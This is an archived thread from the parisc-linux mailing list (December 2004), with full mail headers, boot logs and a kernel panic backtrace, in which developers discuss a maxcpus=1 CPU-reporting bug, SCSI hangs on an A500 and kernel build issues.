X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 31020 invoked by uid 65534); 5 Dec 2004 06:42:35 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx069) with SMTP; 05 Dec 2004 07:42:35 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 21F4A3BE61; Sat,  4 Dec 2004 23:42:20 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08407-07; Sat, 4 Dec 2004 23:42:19 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A076D3BE4C; Sat,  4 Dec 2004 23:41:57 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A10B63BD42
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  4 Dec 2004 23:41:50 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 08407-03 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 4 Dec 2004 23:41:49 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 8B5853BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  4 Dec 2004 23:41:48 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id DC8C029803C
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  4 Dec 2004 23:41:47 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10164-03 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 4 Dec 2004 23:41:13 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 0E993298038; Sat,  4 Dec 2004 23:41:13 -0700 (MST)
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22184

Hello,
It's late and I won't have a chance to chase this bug I just noticed
when trying to boot 2.6.10-rc3-pa1 (64bit, SMP) kernel on a500.

I set "maxcpus=1" and still get the following output:
CPU(s): 2 x PA8500 (PCX-W) at 440.000000 MHz
Setting cache flush threshold to 231180 (1 CPUs online)

I'm thinking that while two CPUs are present, only
one is "online", it doesn't feel right to report both
in the first line above. Is this expected behavior
or should we be indicating something like
	CPU(s): 1 (of 2) x PA8500 (PCX-W) at 440.000000 MHz


Other issues:
o the box is hanging after sym2 resets the SCSI bus.
  My first guess is something is wrong with interrupt delivery.

o omitting "maxcpus=1", the box will hang for about 60 seconds
  after printing the inventory. And then prints:
	Releasing cpu 1 now, hpa=fffffffffffa2000
  and continues on to the SCSI bus resets.

I have tried both gcc 3.0.4 and 3.3.4 (hppa64 versions) with the
same results (AFAICT).

hth,
grant


Main Menu: Enter command or menu > bo lan
Interact with IPL (Y, N, or Cancel)?> n

Booting... 
Network Station Address 00306e-0c7a5e
System IP Address 192.168.0.112
Server IP Address 192.168.0.61

Boot IO Dependent Code (IODC) revision 2


HARD Booted.
palo ipl 1.5 root@c3k Fri May 14 16:17:38 MDT 2004

Boot image contains:
    0/vmlinux64 7209624 bytes @ 0xa000

Command line for kernel: 'HOME=/ root=/dev/nfs nfsroot=192.168.0.61:/home/tftpboot/idiot ip=dhcp console=ttyS0 maxcpus=1 palo_kernel=0/vmlinux'
Selected kernel: /vmlinux from partition 0
Warning: kernel name doesn't end with 32 or 64 -- Guessing... Choosing 64-bit kernelELF64 executable
Entry 00100000 first 00100000 n 3
Segment 0 load 00100000 size 5237888 mediaptr 0x1000
Segment 1 load 00600000 size 362288 mediaptr 0x500000
Segment 2 load 0065c000 size 421608 mediaptr 0x559000
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

Linux version 2.6.10-rc3-pa1 (grundler@gsyprf11.external.hp.com) (gcc version 3.3.4 (Debian 1:3.3.4-13)) #97 SMP Sat Dec 4 22:07:50 PST 2004
FP[0] enabled: Rev 1 Model 16
The 64-bit Kernel has started...
Initialized PDC Console for debugging.
Determining PDC firmware type: 64 bit PAT.
model 00005cb0 00000491 00000000 00000001 5e2962dc 100000f0 00000008 000000b2 000000b2
vers  00000301
CPUID vers 17 rev 11 (0x0000022b)
capabilities 0x1
model 9000/800/A500-44
Memory Ranges:
 0) Start 0x0000000000000000 End 0x00000000efffffff Size   3840 Mb
 1) Start 0x00000010f0000000 End 0x00000010ffffffff Size    256 Mb
Total Memory: 4096 Mb
SMP: bootstrap CPU ID is 0
Built 2 zonelists
Kernel command line: HOME=/ root=/dev/nfs nfsroot=192.168.0.61:/home/tftpboot/idiot ip=dhcp console=ttyS0 maxcpus=1 palo_kernel=0/vmlinux
PID hash table entries: 4096 (order: 12, 131072 bytes)
Console: colour dummy device 160x64
Dentry cache hash table entries: 1048576 (order: 11, 8388608 bytes)
Inode-cache hash table entries: 524288 (order: 10, 4194304 bytes)
Memory: 4194304k available
Mount-cache hash table entries: 256 (order: 0, 4096 bytes)
Brought up 1 CPUs
NET: Registered protocol family 16
Searching for devices...
Found devices:
1. Crescendo 440 at 0xfffffffffffa0000 [160] { 0, 0x0, 0x5cb, 0x00004 }
2. Crescendo 440 at 0xfffffffffffa2000 [162] { 0, 0x0, 0x5cb, 0x00004 }
3. Memory at 0xfffffffffed08000 [8] { 1, 0x0, 0x09b, 0x00009 }
4. Astro BC Runway Port at 0xfffffffffed00000 [0] { 12, 0x0, 0x582, 0x0000b }
5. Elroy PCI Bridge at 0xfffffffffed30000 [0/0] { 13, 0x0, 0x782, 0x0000a }
6. Elroy PCI Bridge at 0xfffffffffed34000 [0/2] { 13, 0x0, 0x782, 0x0000a }
7. Elroy PCI Bridge at 0xfffffffffed38000 [0/4] { 13, 0x0, 0x782, 0x0000a }
8. Elroy PCI Bridge at 0xfffffffffed3c000 [0/6] { 13, 0x0, 0x782, 0x0000a }
CPU(s): 2 x PA8500 (PCX-W) at 440.000000 MHz
Setting cache flush threshold to 231180 (1 CPUs online)
SBA found Astro 2.1 at 0xfffffffffed00000
LBA version TR4.0 (0x5) found at 0xfffffffffed30000
LBA version TR4.0 (0x5) found at 0xfffffffffed34000
LBA version TR4.0 (0x5) found at 0xfffffffffed38000
LBA version TR4.0 (0x5) found at 0xfffffffffed3c000
SCSI subsystem initialized
unwind_init: start = 0x104bf300, end = 0x104e7300, entries = 10240
Performance monitoring counters enabled for Crescendo 440
Initializing Cryptographic API
Soft power switch support not available.
Generic RTC Driver v1.07
Serial: 8250/16550 driver $Revision: 1.90 $ 17 ports, IRQ sharing enabled
ttyS0 at MMIO 0xfffffffff8000000 (irq = 132) is a 16550A
ttyS1 at MMIO 0xfffffffff8000008 (irq = 132) is a 16550A
ttyS2 at MMIO 0xfffffffff8000010 (irq = 132) is a 16550A
ttyS3 at MMIO 0xfffffffff8007000 (irq = 133) is a 16550A
ttyS4 at MMIO 0xfffffffff8007008 (irq = 133) is a 16550A
io scheduler noop registered
io scheduler anticipatory registered
io scheduler deadline registered
io scheduler cfq registered
RAMDISK driver initialized: 16 RAM disks of 6144K size 1024 blocksize
loop: loaded (max 8 devices)
e100: Intel(R) PRO/100 Network Driver, 3.2.3-k2-NAPI
e100: Copyright(c) 1999-2004 Intel Corporation
acenic.c: v0.92 08/05/2002  Jes Sorensen, linux-acenic@SunSITE.dk
                            http://home.cern.ch/~jes/gige/acenic.html
0000:20:00.0: Alteon AceNIC Gigabit Ethernet at 0xfffffffffa000000, irq 256
  Tigon II (Rev. 6), Firmware: 12.4.11, MAC: 00:30:6e:0f:3a:75
  PCI bus width: 64 bits, speed: 66MHz, latency: 128 clks
0000:20:00.0: Firmware up and running
Linux Tulip driver version 1.1.13 (May 11, 2002)
tulip0: no phy info, aborting mtable build
tulip0:  MII transceiver #1 config 1000 status 782d advertising 01e1.
eth1: Digital DS21143 Tulip rev 65 at fffffffff8020000, 00:30:6E:0C:7A:5E, IRQ 128.
sym0: <896> rev 0x7 at pci 0000:00:01.0 irq 129
sym0: No NVRAM, ID 7, Fast-40, LVD, parity checking
sym0: SCSI BUS has been reset.
scsi0 : sym-2.1.18m
elevator: using anticipatory as default io scheduler
sym0:0: No MSG OUT phase after selection with ATN.
eth0: Optical link UP (Full Duplex, Flow Control: )
sym0:0:0: ABORT operation started.
sym0:0:0: ABORT operation timed-out.
sym0:0:0: DEVICE RESET operation started.
sym0:0:0: DEVICE RESET operation timed-out.
sym0:0:0: BUS RESET operation started.
sym0: SCSI BUS reset detected.
sym0: SCSI BUS has been reset.
sym0:0:0: BUS RESET operation complete.
sym0:0: No MSG OUT phase after selection with ATN.
sym0:0:0: ABORT operation started.
sym0:0:0: ABORT operation timed-out.
sym0:0:0: HOST RESET operation started.
sym0: SCSI BUS has been reset.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] BUG maxcpus=1 still sees 2 CPUs
Date: Sun, 5 Dec 2004 00:46:13 -0800
Lines: 54
Approved: news@gmane.org
Message-ID: <20041205084613.GU6359@tausq.org>
References: <20041205064112.GA10169@colo.lackof.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623618 11946 80.91.229.3 (22 Nov 2014 02:33:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:38 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 3548 invoked by uid 65534); 5 Dec 2004 08:47:01 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx009) with SMTP; 05 Dec 2004 09:47:01 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id D7A1E3BE54; Sun,  5 Dec 2004 01:46:46 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10473-04; Sun, 5 Dec 2004 01:46:46 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 1BF133BE4D; Sun,  5 Dec 2004 01:46:26 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 52FD83BD42
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  5 Dec 2004 01:46:20 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 09396-10 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 5 Dec 2004 01:46:19 -0700 (MST)
Original-Received: from arwen.tausq.org (legolas.tausq.org [64.81.244.109])
	by free.linux.hp.com (Postfix) with ESMTP id D14043BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  5 Dec 2004 01:46:18 -0700 (MST)
Original-Received: by arwen.tausq.org (Postfix, from userid 1000)
	id BEFE86BE06; Sun,  5 Dec 2004 00:46:13 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <20041205064112.GA10169@colo.lackof.org>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.6+20040722i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22185

> It's late and I won't have a chance to chase this bug I just noticed
> when trying to boot 2.6.10-rc3-pa1 (64bit, SMP) kernel on a500.

fwiw that kernel booted on ios (a500 with 2xpa8500 @ 440mhz)

> I set "maxcpus=1" and still get the following output:
> CPU(s): 2 x PA8500 (PCX-W) at 440.000000 MHz
> Setting cache flush threshold to 231180 (1 CPUs online)

right, since that is an inventory message, and we still inventory all
the cpus, it will report all the available CPUs.

> I'm thinking that while two CPUs are present, only
> one is "online", it doesn't feel right to report both
> in the first line above. Is this expected behavior
> or should we be indicating something like
> 	CPU(s): 1 (of 2) x PA8500 (PCX-W) at 440.000000 MHz

we could do that easily enough if you think it's better...

> Other issues:
> o the box is hanging after sym2 resets the SCSI bus.
>   My first guess is something is wrong with interrupt delivery.

yes, that would explain this as well:
> o omitting "maxcpus=1", the box will hang for about 60 seconds
>   after printing the inventory. And then prints:
> 	Releasing cpu 1 now, hpa=fffffffffffa2000
>   and continues on to the SCSI bus resets.

that sounds like we timed out bringing up the 2nd cpu, altho if that
happened i would have expected an error message. if the 2nd cpu is not
processing interrupts, and we are assigning some of the interrupts to
the 2nd cpu, then the scsi bus resets will fail. you can try forcing
all the irqs to cpu0 and see if that lets the box boot....

> I have tried both gcc 3.0.4 and 3.3.4 (hppa64 versions) with the
> same results (AFAICT).

currently i'm using gcc-3.4.2 to build the kernel on ios, but in the
recent past i've tried 3.0.4 and 3.3.4 and both worked (but that was 
on -rc2)

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PA-Linux version of libunwind
Date: Mon, 6 Dec 2004 09:07:32 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <20041206160732.GA10915@colo.lackof.org>
References: <200412050119.iB51Jln3001654@napali.hpl.hp.com>
	<20041205050917.GA8057@colo.lackof.org>
	<16818.39252.802512.48866@napali.hpl.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623618 11948 80.91.229.3 (22 Nov 2014 02:33:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:38 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: davidm@hpl.hp.com
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 15206 invoked by uid 65534); 6 Dec 2004 16:08:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx046) with SMTP; 06 Dec 2004 17:08:48 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C94113BE53; Mon,  6 Dec 2004 09:08:41 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27607-05; Mon, 6 Dec 2004 09:08:41 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 6A74A3BE5D; Mon,  6 Dec 2004 09:08:21 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 273603BE4F
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  6 Dec 2004 09:08:17 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 27607-01 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 6 Dec 2004 09:08:15 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 9FB183BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  6 Dec 2004 09:08:15 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id C1B00298059; Mon,  6 Dec 2004 09:08:14 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10970-06; Mon, 6 Dec 2004 09:07:35 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 58B92298056; Mon,  6 Dec 2004 09:07:33 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <16818.39252.802512.48866@napali.hpl.hp.com>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22186

On Sat, Dec 04, 2004 at 09:15:00PM -0800, David Mosberger wrote:
> If the time-stamps are correct, it shouldn't even try to rebuild the
> man files,

I suspect the "bk -r -co -q" puts a current timestamp on the files.

>  but you can work around the lack of latex2man with
> 
> 	$ make L2M=cp

yep - that works too.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rray@tcmail.mstc.state.ms.us
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.10-rc2-pa2 build failing
Date: Mon, 6 Dec 2004 09:03:03 -0600 (CST)
Lines: 557
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0412060817380.21506@rray.drdc.mstc.ms.gov>
References: <Pine.LNX.4.58.0412031551120.3169@rray.drdc.mstc.ms.gov>
	<20041204190201.GC30126@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: MULTIPART/MIXED;
  BOUNDARY="8323328-742400216-1102345339=:21506"
X-Trace: ger.gmane.org 1416623619 11951 80.91.229.3 (22 Nov 2014 02:33:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:39 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 17668 invoked by uid 65534); 6 Dec 2004 15:07:02 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx015) with SMTP; 06 Dec 2004 16:07:02 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 65E823BE5D; Mon,  6 Dec 2004 08:06:56 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27013-08; Mon, 6 Dec 2004 08:06:53 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 589AA3BE53; Mon,  6 Dec 2004 08:06:30 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2B44D3BD42
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  6 Dec 2004 08:06:22 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 27012-05 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 6 Dec 2004 08:06:21 -0700 (MST)
Original-Received: from itspmx1.state.ms.us (e3000a.state.ms.us [205.144.224.140])
	by free.linux.hp.com (Postfix) with ESMTP id 0C95D3BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  6 Dec 2004 08:06:20 -0700 (MST)
Original-Received: from tcmail.mstc.state.ms.us (tcmail.mstc.state.ms.us [10.3.60.220])
	by itspmx1.state.ms.us (8.12.10/8.12.10) with SMTP id iB6F2bZW016595
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 6 Dec 2004 09:02:37 -0600 (CST)
	(envelope-from rray@tcmail.mstc.state.ms.us)
Original-Received: from rray.drdc.mstc.ms.gov ([172.17.32.2])
	by tcmail.mstc.state.ms.us; Mon, 06 Dec 2004 09:05:01 -0600
Original-Received: from rray.drdc.mstc.ms.gov (rray.drdc.mstc.ms.gov [127.0.0.1])
	by rray.drdc.mstc.ms.gov (8.12.11/8.12.11) with ESMTP id iB6F34Z3021992
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 6 Dec 2004 09:03:04 -0600
Original-Received: from localhost (rray@localhost)
	by rray.drdc.mstc.ms.gov (8.12.11/8.12.11/Submit) with ESMTP id
	iB6F34Fw021989 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 6 Dec 2004 09:03:04 -0600
X-Authentication-Warning: rray.drdc.mstc.ms.gov: rray owned process doing -bs
X-X-Sender: rray@rray.drdc.mstc.ms.gov
In-Reply-To: <20041204190201.GC30126@colo.lackof.org>
Content-ID: <Pine.LNX.4.58.0412060902290.21506@rray.drdc.mstc.ms.gov>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22187

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.
  Send mail to mime@docserver.cac.washington.edu for more info.

--8323328-742400216-1102345339=:21506
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
Content-ID: <Pine.LNX.4.58.0412060902291.21506@rray.drdc.mstc.ms.gov>

Enabling CONFIG_FRAMEBUFFER_CONSOLE fixed the problem.
I was able to to complete the build.
I've attached my .config

But I get a kernel panic when I boot.

ncr53c720-0: rev 0xf irq 35
ncr53c720-0: ID 7, Fast-10, Parity Checking, Differential
scsi0 : ncr53c8xx-3.4.3f
elevator: using anticipatory as default io scheduler
  Vendor: Seagate  Model: ST39236LC          Rev: HP02
  Type:   Direct-Access                      ANSI SCSI revision: 03
 target0:0:5: Beginning Domain Validation
ncr53c720-0-<5,*>: asynchronous.
ncr53c720-0-<5,*>: wide asynchronous.
ncr53c720-0-<5,*>: FAST-10 WIDE SCSI 20.0 MB/s (100 ns, offset 8)
 target0:0:5: Ending Domain Validation
ncr53c720-0-<6,*>: asynchronous.
Backtrace:
 [<1031d594>] ncr53c8xx_intr+0x4c/0xbc
 [<10107ad8>] do_irq+0xbc/0x19c
 [<10107c48>] do_cpu_irq_mask+0x90/0xf0
 [<1010d068>] intr_return+0x0/0x24
 [<10113fc8>] machine_restart+0x0/0x2c
Kernel Fault: Code=26 regs=10ac4500 (Addr=00000114)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001000000000000001110 Not tainted
r00-03  00000000 1049a810 1031c2b0 27e7f000
r04-07  00000000 00000000 27e7e000 00000000
r08-11  27e7e458 00000001 10508010 10489810
r12-15  000000f2 00000001 000000fd 000000f3
r16-19  10ac4100 00000002 f0000064 00000003
r20-23  00000001 00000000 f1800800 27e7e458
